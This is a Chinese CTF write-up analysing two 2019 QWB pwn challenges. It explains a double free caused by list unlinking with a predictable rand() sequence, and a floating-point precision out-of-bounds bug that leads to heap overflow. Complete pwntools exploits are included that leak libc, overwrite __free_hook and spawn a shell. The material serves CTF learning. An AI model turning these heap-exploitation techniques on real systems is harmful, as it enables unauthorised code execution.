2019-強網杯pwn復現--多數題目

sfftlt_發表於2019-10-09
前面兩篇分析qwb題目的文章不是用看雪專欄markdown編輯的,今天剛剛發現看雪支援markdown,這樣就不用每次我自己再重新修改格式,複製貼上就ok了,前面的兩篇文章也懶的重新調格式,就重新發了一篇專欄。

前面兩篇地址2019-強網杯pwn-babycpp&&trywrite
寫在前面:
REFERENCE:
http://blog.eonew.cn/archives/category/ctf/pwn

2019-qwb-random

題目邏輯&&漏洞點

首先將程式的功能放在一個陣列裡面。

  table.func1 = (__int64)add;
  table.func2 = (__int64)update;
  table.func3 = (__int64)delete;
  table.func4 = (__int64)view;

然後下面利用連結串列的方式將函式串聯在一起。

 

其中在連結串列中插入節點的方式如下,bss段中儲存著最新插入的節點,而且每次插入的節點都是在連結串列頭插入到:

  v2 = (node *)calloc(1uLL, 0x18uLL);
  *(_QWORD *)&v2->type = type;
  v2->func = func;
  v2->pre_node = lastest_node;
  v3 = v2;
  result = &lastest_node;
  lastest_node = v3;

    對應的結構體:
    00000000 node            struc ; (sizeof=0x14, mappedto_7)
    00000000 pre_node        dq ?
    00000008 func            dq ?
    00000010 type            dd ?
    00000014 node            ends

然後刪除節點函式如下:

  result = (_QWORD *)lastest_node;
  if ( lastest_node )
  {
    ptr = (node *)lastest_node;
    v4 = (node *)lastest_node;
    do
    {
      while ( *(_QWORD *)&ptr->type != type ) //便利查詢符合條件的node
      {
        v4 = ptr;
        result = (_QWORD *)ptr->pre_node;
        ptr = (node *)ptr->pre_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(node *))ptr->func;
      if ( ptr == (node *)lastest_node ) //解鏈操作
      {
        lastest_node = ptr->pre_node;
        v4 = (node *)lastest_node;
        v3 = (node *)lastest_node;
      }
      else
      {
        v4->pre_node = ptr->pre_node;
        v3 = (node *)ptr->pre_node;
      }
      free(ptr); //先釋放當前的node
      v5(ptr);  //然後呼叫當前node中對應的函式
      result = &v3->pre_node;
      ptr = v3;
    }
    while ( v3 );

現在看在新增刪除節點都沒有問題,但是在add函式中也會有“多餘的”新增節點的操作,如下

if ( v0 == 89 )
  {
    for ( i = 0; i <= 14; ++i )
    {
      size = (void *)list[2 * i];
      if ( !size )
      {
        puts("Input the size of the note:");
        LODWORD(size) = get_int();
        if ( (signed int)size > 0 && (signed int)size <= 63 )
        {
          list[2 * i + 1] = (signed int)size;
          list[2 * i] = malloc((signed int)size + 1);
          puts("Input the content of the note:");
          read_n((_BYTE *)list[2 * i], list[2 * i + 1]);
          puts("success!");
          puts("Do you want to add another note, tomorrow?(Y/N)");
          v2 = getchar();
          LODWORD(size) = getchar();
          if ( v2 == 89 )
            LODWORD(size) = (unsigned __int64)put_node((__int64)add, 2); //多餘的新增節點的操作,這個部分會導致解鏈過程當中發生異常。
        }
        return (signed int)size;
      }
    }
  }

測試漏洞

裡面有一個別扭的地方,就是利用rand()函式來決定進行什麼功能。

v4 = rand();
put_node(*(&table.func1 + v4 % 4), 2);

好像是隨機的,沒法控制?

 

我們知道計算機模擬的隨機數並不是真正的隨機,所有產生的隨機數都是偽隨機數,像這種隨機數就可以預測。只要srand設定的seed種子一樣,那麼rand函式產生的隨機數就是一樣的。

 

我們查記憶體,看到srand函式的seed值為0.

 

自己寫一個c檔案預測一下。

#include <stdlib.h>
#include <stdio.h>

int main()
{
        srand(0);
        char * buf[4];
        buf[0] = "add";
        buf[1] = "update";
        buf[2] = "delete";
        buf[3] = "view";
        for(int i=0;i<50;i++)
        {
                int num = rand()%4;
                printf("%d   :   %s\n",num,buf[num]);
        }
        return 0;
}

根據預測可以看到每個函式的呼叫順序。

 

上面說過,在刪除節點的過程中如果add功能中選擇增添新的節點,那麼會導致異常,進而導致double free。

解鏈過程如下: 設定了一個pre變數,一個cur變數,常規解鏈操作。
    do
    {
      while ( *(_QWORD *)&ptr->type != type )
      {
        pre = ptr;
        result = (_QWORD *)ptr->pre_node;
        ptr = (node *)ptr->pre_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(node *))ptr->func;
      if ( ptr == (node *)lastest_node )
      {
        lastest_node = ptr->pre_node;
        pre = (node *)lastest_node;
        cur = (node *)lastest_node;
      }
      else
      {
        pre->pre_node = ptr->pre_node;
        cur = (node *)ptr->pre_node;
      }
      free(ptr);
      v5(ptr); //執行功能函式
      result = &cur->pre_node;
      ptr = cur;
    }
    while ( cur );

但如果我們在解鏈過程中執行功能函式的話,會導致異常,具體如下:

剛開始(左邊的是鏈頭),下面都是到while迴圈判斷這一句的狀態,假設當前滿足條件的是A:
#第一次
    A-->B-->C-->D-->E
    header = A  pre = cur = A
#第二次:
    假設在A解鏈過程中呼叫add函式增添了新的節點M
    M-->B-->C-->D-->E    
    header = M  pre = cur = B
#第三次
    M-->B  C-->D-->E
    header = A cur = pre = C
    可以看到現在B已經被解鏈了,但是表頭M仍然在pre_node段記錄著B的資訊,其仍然存在鏈上,後面會造成double free。(B被釋放到fastbin裡面可能存在指向fastbin中的chunk,但是後面也會申請出來,emm表達不是很清楚,自己理解吧。)

現在我們知道了漏洞點,後面就是利用double free了,但是libc2.23下對於0x21大小的chunk double free好像不太好用,出題人故意在bss端允許放置0x21的可能,因此可以fastbin attack控制bss段,後面就簡單了。

漏洞利用

思路

  1. double free
  2. fastbin attack控制bss端
  3. 任意地址讀寫get shell

exp

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'info'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './random'

    ctx.symbols = {
        'lastest_node':0x203168,
        'node':0x203180,
    }

    ctx.breakpoints = [0x11C9,0x184E]#menu:0x17B5  reduce:0x11C9  puts_node:0x183a
    #ctx.debug()

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def Y_N(flag = False):
        if flag == False:
            sla('(Y/N)','N')
        else:
            sla('(Y/N)','Y')

    def add(size,content,flag = False):
        Y_N(True)
        sla('size',size)
        sa('content',content)
        if flag == False :
            Y_N()
        else:
            Y_N(True)

    def delete(idx):
        Y_N(True)
        sla('index',idx)

    def view(idx):
        Y_N(True)
        sla('note:\n',idx)

    def update(idx,content):
        Y_N(True)
        sla('index',idx)
        sa('content',content)

    rs()
    sa('name','a'*8)
    ru('game, ')
    prog_base = uu64(ru('\n',drop = True)[-7:-1]) - 0xb90
    lg('prog_base',prog_base)
    sl(35)

    #round 1
    sla('(0~10)',8)
    add(0x21,'\n',True)  #prepare for fastbin attack , used to be the fake_size. And prepare for double free
    for i in range(7):
        Y_N()

    #round 2
    sla('(0~10)',7)
    for i in range(9):
        Y_N()

    #round 3
    sla('(0~10)',2)
    fake_chunk = prog_base + 0x203180
    add(0x8,p64(fake_chunk))  #node 1  fastbin attack
    for i in range(1):
        Y_N()

    #round 4
    sla('(0~10)',3)
    add(0x21,'\n') # prepare for free fake_chunk
    for i in range(2):
        Y_N()

    #round 5
    sla('(0~10)',8)
    for i in range(8):
        Y_N()

    #round 6  
    #get shell
    sla('(0~10)',10)
    payload = p64(prog_base+0x203080)+p64(0x18)
    add(0x17,payload+'\n')#index 3
    for i in range(1):
        Y_N()
    view(1)
    libc_base = uu64(r(6)) - ctx.libc.sym['malloc']
    lg('libc_base',libc_base)
    free_hook = libc_base + ctx.libc.sym['__free_hook']
    one = libc_base + 0x4526a
    update(3,p64(free_hook)+p64(0x10)+'\n')
    for i in range(3):
        Y_N()
    update(1,p64(one)+'\n')

    irt()

2019-qwb-restaurant

題目邏輯及漏洞

題目主要是有一個陣列越界,可以控制name的curent_size從而導致堆溢位。

 

要達成陣列越界還需要利用double型別浮點數在表示大數的情況下其精度會下降,不能精確表示小數。

 

簡單舉例:

double num = 1e16;
num += 0.55

雖然num + 0.55,但是由於浮點數的編碼規則,其在表示這種大數情況下並不能將0.55這種精度的小數表達出來,因此最終加完之後的num仍然是1e16。

關於double 型別的浮點數精度損失分析詳見:記憶體中的資料儲存

漏洞利用

思路(libc 2.27)

  1. 利用double型別浮點數精度損失,以及陣列越界來修改name size;
  2. 進行堆溢位修改chunk size為0x421,然後free掉進入unsorted bin,從而洩露libc。(在偽造unsorted bin時,free chunk時要偽造next chunk size以及next next chunk size)
  3. tcache attack修改free_hook。(注意tcache在malloc過程中並不會檢查size是否正確)

exp

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'info'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './restaurant'
    ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('172.16.9.21', 9006)
    ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x202360
    }

    ctx.breakpoints = [0x1360]#printf:0xCF9   0xfa2  : set_count    


    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


    def set_name(size,name):
        sla('(y/n)','y')
        sla('name: ',size)
        if size > 0x200:
            return
        sa('name: ',name)

    def order(idx,count,size,name='\n'):
        sla('ice',1)
        sla('want:',idx)
        sla('want:',count)
        sla('tips:',0.55)
        set_name(size,name)

    def pay(size,name='\n'):
        sla('ice',3)
        set_name(size,name)


    def request(name,price):
        sla('ice',4)
        sla('ame: ',name)
        sla('ice: ',price)

    rs()

    request('111',str(1e16))
    request('222',-999)

    #modify the current_size
    order(5,1,0x18)
    order(5,0,0x48)
    order(5,0,0x58)
    order(5,0,0x201)
    order(5,0,0x201)
    order(5,0,0x18)
    payload = 'a'*0x10 + p64(0) + p64(0x421) #fake_chunk
    payload += 'a'*0x30
    payload += p64(0)+p64(0x101) # modify the chunk_size
    payload = payload.ljust(0x430,'a')
    payload += (p64(0)+p64(0x21))*3  #bypass the free_check
    order(6,8,8,payload+'\n')

    #leak libc
    order(5,0,0x201)
    order(5,0,0x48)
    order(5,0,0x201)# free 0x421
    order(5,0,0x28,'a'*8)
    ru('a'*8)
    libc_base = uu64(r(6)) - 0x3ec090
    lg('libc_base',libc_base)

    #get shell
    free_hook = libc_base + ctx.libc.sym['__free_hook']
    system = libc_base + ctx.libc.sym['system']
    payload = 'a'*0x18 + p64(0x101) + p64(free_hook-8)
    order(5,0,0x68,payload+'\n')
    order(5,0,0x201)
    order(5,0,0x58)
    order(5,0,0x201)
    payload = '/bin/sh\0' + p64(system)
    order(5,0,0x58,payload+'\n')
    order(5,0,0x201)

    irt()

2019-qwb-one

iddm正在抽時間寫o(╥﹏╥)o

相關文章